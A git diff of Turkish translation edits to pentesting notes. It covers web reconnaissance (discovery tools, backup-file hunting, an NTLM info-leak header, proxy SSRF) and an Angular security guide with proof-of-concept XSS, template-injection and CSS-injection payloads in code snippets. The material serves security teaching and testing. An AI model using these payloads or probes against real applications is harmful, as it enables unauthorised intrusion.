- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
|
||||
|
||||
**Tavsiye edilen sözlükler:**
|
||||
@ -268,7 +268,7 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
|
||||
|
||||
### Bulunan her dosyada kontrol edilecekler
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulur.
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulun.
|
||||
- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek bir dosya adlandırması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
|
||||
- **Yeni parametreleri keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
|
||||
- _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
@ -279,7 +279,7 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
|
||||
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda verileri göremeyeceğiniz kadar **birçok** **boşluk** kullanarak) **bilgileri gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve web sayfasının **altında** bir yorumda **bilgileri gizlemektir**.
|
||||
- **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
|
||||
- **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket**'ları ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin](buckets/index.html).
|
||||
- **S3 Buckets**: Spidering sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin**](buckets/index.html).
|
||||
|
||||
### Özel bulgular
|
||||
|
||||
@ -288,7 +288,7 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
|
||||
**İlginç dosyalar**
|
||||
|
||||
- **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın.
|
||||
- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md)
|
||||
- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md).
|
||||
- Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
|
||||
- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzerler".
|
||||
- **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
|
||||
@ -308,17 +308,17 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
|
||||
|
||||
**502 Proxy Hatası**
|
||||
|
||||
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak ve bir** SSRF **bulmuş olacaksınız.**
|
||||
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız.
|
||||
|
||||
**NTLM Kimlik Doğrulama - Bilgi ifşası**
|
||||
|
||||
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** **adını** soruyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\
|
||||
**Başlığı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
|
||||
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
|
||||
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\
|
||||
**Header'ı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
|
||||
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak otomatikleştirebilirsiniz.
|
||||
|
||||
**HTTP Yönlendirme (CTF)**
|
||||
|
||||
Bir **Yönlendirme** içinde **içerik** yerleştirmek mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
|
||||
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama burada **gizli** bir şey olabilir.
|
||||
|
||||
### Web Zafiyetlerini Kontrol Etme
|
||||
|
||||
@ -336,9 +336,9 @@ Web zafiyetleri hakkında daha fazla bilgi için:
|
||||
|
||||
### Sayfaları değişiklikler için izleme
|
||||
|
||||
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz.
|
||||
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
|
||||
|
||||
### HackTricks Otomatik Komutlar
|
||||
### HackTricks Otomatik Komutları
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
@ -348,7 +348,7 @@ Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Web
|
||||
Note: |
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-web
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Quick Web Scan
|
||||
|
@ -5,7 +5,7 @@
|
||||
Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
* [ ] Angular, istemci tarafı bir çerçeve olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez
|
||||
* [ ] Proje yapılandırmasında scriptler için kaynak haritası devre dışı bırakılmıştır
|
||||
* [ ] Proje yapılandırmasında scriptler için sourcemap devre dışı bırakılmıştır
|
||||
* [ ] Güvenilmeyen kullanıcı girişi, şablonlarda kullanılmadan önce her zaman interpolasyon veya sanitizasyon işlemine tabi tutulur
|
||||
* [ ] Kullanıcının sunucu tarafı veya istemci tarafı şablonları üzerinde kontrolü yoktur
|
||||
* [ ] Güvenilmeyen kullanıcı girişi, uygulama tarafından güvenilir hale getirilmeden önce uygun bir güvenlik bağlamında sanitizasyon işlemine tabi tutulur
|
||||
@ -14,7 +14,7 @@ Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist)
|
||||
|
||||
## Angular Nedir
|
||||
|
||||
Angular, **güçlü** ve **açık kaynak** bir ön uç çerçevesidir ve **Google** tarafından bakım yapılmaktadır. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, yaygın istemci tarafı güvenlik açıklarını, örneğin **XSS** ve **açık yönlendirmeler** gibi, önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alındığında **her iki açıdan** önemlidir.
|
||||
Angular, **Google** tarafından sürdürülen **güçlü** ve **açık kaynak** bir ön uç çerçevesidir. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur **her iki açıdan**.
|
||||
|
||||
## Çerçeve Mimarisi
|
||||
|
||||
@ -39,17 +39,17 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
Belgelerine göre, her Angular uygulaması en az bir bileşene, DOM ile bir bileşen hiyerarisi bağlayan kök bileşen (`AppComponent`) sahiptir. Her bileşen, uygulama verilerini ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. `@Component()` dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablon ile ilgili bileşen özel meta verilerini sağlar. `AppComponent`, `app.component.ts` dosyasında tanımlanmıştır.
|
||||
Dokümana göre, her Angular uygulaması en az bir bileşene, DOM ile bir bileşen hiyerarşisini bağlayan kök bileşen (`AppComponent`) sahiptir. Her bileşen, uygulama verilerini ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. `@Component()` dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablonu ve ilgili bileşen özel meta verilerini sağlar. `AppComponent`, `app.component.ts` dosyasında tanımlanmıştır.
|
||||
|
||||
Angular NgModülleri, bir uygulama alanına, bir iş akışına veya yakından ilişkili bir yetenekler setine adanmış bir bileşen seti için bir derleme bağlamı bildirir. Her Angular uygulamasının, geleneksel olarak `AppModule` olarak adlandırılan bir kök modülü vardır ve bu modül uygulamayı başlatan bootstrap mekanizmasını sağlar. Bir uygulama genellikle birçok işlevsel modül içerir. `AppModule`, `app.module.ts` dosyasında tanımlanmıştır.
|
||||
Angular NgModules, bir uygulama alanına, bir iş akışına veya yakından ilişkili bir yetenekler setine adanmış bir bileşen seti için bir derleme bağlamı bildirir. Her Angular uygulamasının, uygulamayı başlatan bootstrap mekanizmasını sağlayan kök modülü, geleneksel olarak `AppModule` olarak adlandırılır. Bir uygulama genellikle birçok işlevsel modül içerir. `AppModule`, `app.module.ts` dosyasında tanımlanmıştır.
|
||||
|
||||
Angular `Router` NgModule, uygulamanızdaki farklı uygulama durumları ve görünüm hiyerarşileri arasında bir navigasyon yolu tanımlamanıza olanak tanıyan bir hizmet sağlar. `RouterModule`, `app-routing.module.ts` dosyasında tanımlanmıştır.
|
||||
|
||||
Belirli bir görünümle ilişkilendirilmemiş ve bileşenler arasında paylaşmak istediğiniz veri veya mantık için bir hizmet sınıfı oluşturursunuz. Bir hizmet sınıfı tanımı, hemen öncesinde `@Injectable()` dekoratörü ile gelir. Dekoratör, diğer sağlayıcıların sınıfınıza bağımlılık olarak enjekte edilmesine olanak tanıyan meta verileri sağlar. Bağımlılık enjeksiyonu (DI), bileşen sınıflarınızı ince ve verimli tutmanıza olanak tanır. Sunucudan veri almazlar, kullanıcı girişini doğrulamazlar veya doğrudan konsola günlüğe kaydetmezler; bu tür görevleri hizmetlere devrederler.
|
||||
Belirli bir görünümle ilişkilendirilmemiş ve bileşenler arasında paylaşmak istediğiniz veri veya mantık için bir hizmet sınıfı oluşturursunuz. Bir hizmet sınıfı tanımı, hemen öncesinde `@Injectable()` dekoratörü ile gelir. Dekoratör, diğer sağlayıcıların sınıfınıza bağımlılık olarak enjekte edilmesini sağlayan meta verileri sağlar. Bağımlılık enjeksiyonu (DI), bileşen sınıflarınızı ince ve verimli tutmanıza olanak tanır. Sunucudan veri almazlar, kullanıcı girişini doğrulamazlar veya doğrudan konsola günlüğe kaydetmezler; bu tür görevleri hizmetlere devrederler.
|
||||
|
||||
## Sourcemap yapılandırması
|
||||
|
||||
Angular çerçevesi, TypeScript dosyalarını `tsconfig.json` seçeneklerini takip ederek JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular belgelerine göre, varsayılan yapılandırma, betikler için etkinleştirilmiş bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir:
|
||||
Angular çerçevesi, `tsconfig.json` seçeneklerini takip ederek TypeScript dosyalarını JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkinleştirilmiş bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,7 +58,7 @@ Angular çerçevesi, TypeScript dosyalarını `tsconfig.json` seçeneklerini tak
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Genel olarak, sourcemap dosyaları, üretilen dosyaları orijinal dosyalarına eşlemek için hata ayıklama amaçları için kullanılır. Bu nedenle, bunların bir üretim ortamında kullanılması önerilmez. Eğer sourcemap'ler etkinleştirilirse, okunabilirliği artırır ve Angular projesinin orijinal durumunu kopyalayarak dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, anti-güvenlik desenlerini arayarak derlenmiş bir JavaScript dosyasını manuel olarak analiz edebilir.
|
||||
Genel olarak, sourcemap dosyaları, üretilen dosyaları orijinal dosyalarına eşlemek için hata ayıklama amaçları için kullanılır. Bu nedenle, bunların bir üretim ortamında kullanılması önerilmez. Eğer sourcemap'ler etkinleştirilmişse, okunabilirliği artırır ve Angular projesinin orijinal durumunu kopyalayarak dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, anti-güvenlik desenlerini arayarak derlenmiş bir JavaScript dosyasını manuel olarak analiz edebilir.
|
||||
|
||||
Ayrıca, bir Angular projesine ait derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçları → Sources (veya Debugger ve Sources) → \[id].main.js altında bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya sonunda `//# sourceMappingURL=[id].main.js.map` satırını içerebilir veya **hidden** seçeneği **true** olarak ayarlandığında içermeyebilir. Yine de, **scripts** için sourcemap devre dışı bırakıldığında, test daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap proje derlemesi sırasında `ng build --source-map` gibi etkinleştirilebilir.
|
||||
|
||||
@ -87,7 +87,7 @@ Bağlama, özellikler, olaylar ve nitelikler üzerinde, ayrıca bir kaynak direk
|
||||
|
||||
Angular'ın tasarımı, tüm verilerin varsayılan olarak kodlanmasını veya temizlenmesini içerir, bu da Angular projelerinde XSS güvenlik açıklarını keşfetmeyi ve istismar etmeyi giderek daha zor hale getirir. Veri işleme için iki ayrı senaryo vardır:
|
||||
|
||||
1. İ interpolasyon veya `{{user_input}}` - bağlama duyarlı kodlama gerçekleştirir ve kullanıcı girişini metin olarak yorumlar;
|
||||
1. İ interpolasyon veya `{{user_input}}` - bağlam duyarlı kodlama gerçekleştirir ve kullanıcı girişini metin olarak yorumlar;
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -114,16 +114,16 @@ Sonuç: `<div><h1>test</h1></div>`
|
||||
|
||||
* `None`;
|
||||
* `HTML`, değer HTML olarak yorumlandığında kullanılır;
|
||||
* `STYLE`, CSS'yi `style` özelliğine bağlarken kullanılır;
|
||||
* `STYLE`, CSS'nin `style` özelliğine bağlandığında kullanılır;
|
||||
* `URL`, `<a href>` gibi URL özellikleri için kullanılır;
|
||||
* `SCRIPT`, JavaScript kodu için kullanılır;
|
||||
* `RESOURCE_URL`, kod olarak yüklenen ve yürütülen bir URL olarak, örneğin, `<script src>` içinde.
|
||||
|
||||
## Güvenlik açıkları
|
||||
## Güvenlik Açıkları
|
||||
|
||||
### Güvenlik Güvenini Aşma yöntemleri
|
||||
|
||||
Angular, varsayılan temizleme sürecini atlamak ve bir değerin belirli bir bağlamda güvenli bir şekilde kullanılabileceğini belirtmek için bir dizi yöntem tanıtır; aşağıdaki beş örnekte olduğu gibi:
|
||||
Angular, varsayılan temizleme sürecini aşmak ve bir değerin belirli bir bağlamda güvenli bir şekilde kullanılabileceğini belirtmek için bir dizi yöntem tanıtır; aşağıdaki beş örnekte olduğu gibi:
|
||||
|
||||
1. `bypassSecurityTrustUrl`, verilen değerin güvenli bir stil URL'si olduğunu belirtmek için kullanılır:
|
||||
|
||||
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
|
||||
//sonuç
|
||||
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
||||
```
|
||||
3. `bypassSecurityTrustHtml`, verilen değerin güvenli HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına `script` öğeleri eklemenin, ekli JavaScript kodunu yürütmeyeceğini unutmayın, çünkü bu öğeler DOM ağacına bu şekilde eklenir.
|
||||
3. `bypassSecurityTrustHtml`, verilen değerin güvenli bir HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına `script` öğeleri eklemenin, ekli JavaScript kodunu yürütmeyeceğini unutmayın, çünkü bu öğeler DOM ağacına bu şekilde eklenir.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html etiketi</h1>
|
||||
<h1>html etiketi</h1>
|
||||
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
||||
```
|
||||
4. `bypassSecurityTrustScript`, verilen değerin güvenli JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütme konusunda davranışının öngörülemez olduğunu bulduk.
|
||||
4. `bypassSecurityTrustScript`, verilen değerin güvenli bir JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütme konusunda öngörülemez bir davranış bulduk.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -174,7 +174,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
|
||||
//sonuç
|
||||
-
|
||||
```
|
||||
5. `bypassSecurityTrustStyle`, verilen değerin güvenli CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek CSS enjeksiyonunu göstermektedir:
|
||||
5. `bypassSecurityTrustStyle`, verilen değerin güvenli bir CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek CSS enjeksiyonunu göstermektedir:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -191,7 +191,7 @@ Angular, verileri görüntülemeden önce temizlemek için bir `sanitize` yönte
|
||||
|
||||
### HTML enjeksiyonu
|
||||
|
||||
Bu güvenlik açığı, kullanıcı girişi herhangi bir üç özellikten birine bağlandığında meydana gelir: `innerHTML`, `outerHTML` veya `iframe` `srcdoc`. Bu niteliklere bağlanırken HTML olduğu gibi yorumlanır, giriş `SecurityContext.HTML` kullanılarak temizlenir. Böylece, HTML enjeksiyonu mümkündür, ancak siteler arası komut dosyası (XSS) değildir.
|
||||
Bu güvenlik açığı, kullanıcı girişinin `innerHTML`, `outerHTML` veya `iframe` `srcdoc` gibi üç özellikten birine bağlandığında meydana gelir. Bu niteliklere bağlanırken HTML olduğu gibi yorumlanır, giriş `SecurityContext.HTML` kullanılarak temizlenir. Böylece, HTML enjeksiyonu mümkündür, ancak cross-site scripting (XSS) mümkün değildir.
|
||||
|
||||
`innerHTML` kullanma örneği:
|
||||
```jsx
|
||||
@ -218,7 +218,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler (`{{}}`) içinde kapsüllemeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenecektir.
|
||||
|
||||
Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini kaçırır (örneğin, \`< > ' " \`\` gibi karakterler). Bu, kara listeye alınmış karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir:
|
||||
Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini kaçırır (örneğin, \`< > ' " \`\` gibi karakterler). Bu, yasaklı karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -227,7 +227,7 @@ selector: 'app-root',
|
||||
template: '<h1>title</h1>' + _userInput
|
||||
})
|
||||
```
|
||||
Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder, bu da bize String constructor'ını çağırma ve rastgele kod yürütme imkanı tanır.
|
||||
Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder ve bize String constructor'ı çağırma ve rastgele kod yürütme imkanı tanır.
|
||||
|
||||
#### Sunucu Tarafı Render (SSR)
|
||||
|
||||
@ -292,7 +292,7 @@ document.body.appendChild(a);
|
||||
```
|
||||
#### Angular sınıfları
|
||||
|
||||
Angular'da DOM öğeleriyle çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın ayrıntılı açıklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki ana fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır, oysa `ElementRef` yalnızca öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır.
|
||||
Angular'da DOM öğeleri ile çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın detaylı açıklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki ana fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır, oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır.
|
||||
|
||||
* `ElementRef`, DOM öğelerini manipüle etmek için kullanılabilecek `nativeElement` özelliğini içerir. Ancak, `nativeElement`'in yanlış kullanımı, aşağıda gösterildiği gibi bir XSS enjeksiyon açığına yol açabilir:
|
||||
|
||||
@ -371,13 +371,13 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
<button (click)="setProperty()">Click me!</button>
|
||||
```
|
||||
|
||||
Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `Renderer2` yöntemlerinin, örneğin `setStyle()`, `createComment()` ve `setValue()`, davranışlarını da inceledik. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık.
|
||||
Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `Renderer2`'nin `setStyle()`, `createComment()` ve `setValue()` gibi diğer yöntemlerinin davranışını da inceledik. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık.
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQuery, HTML DOM nesnelerini manipüle etmek için Angular projesinde kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri bir XSS açığı elde etmek için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik.
|
||||
jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri XSS açığına yol açmak için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik.
|
||||
|
||||
* `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `<script>` etiketlerinin enjeksiyonu veya kodu çalıştıran HTML niteliklerinin kullanılması yoluyla gerçekleşebilir.
|
||||
* `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `<script>` etiketlerinin enjeksiyonu veya kodu çalıştıran HTML niteliklerinin kullanılmasıyla gerçekleşebilir.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -410,7 +410,7 @@ $("p").html("<script>alert(1)</script>");
|
||||
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
||||
```
|
||||
|
||||
Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de yer alan betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts` açıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `<img onerror>` niteliği aracılığıyla.
|
||||
Daha önce belirtildiği gibi, HTML dizelerini kabul eden çoğu jQuery API'si, HTML'de dahil edilen betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts` açıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `<img onerror>` niteliği aracılığıyla.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -446,7 +446,7 @@ $palias.append(html);
|
||||
|
||||
#### DOM arayüzleri
|
||||
|
||||
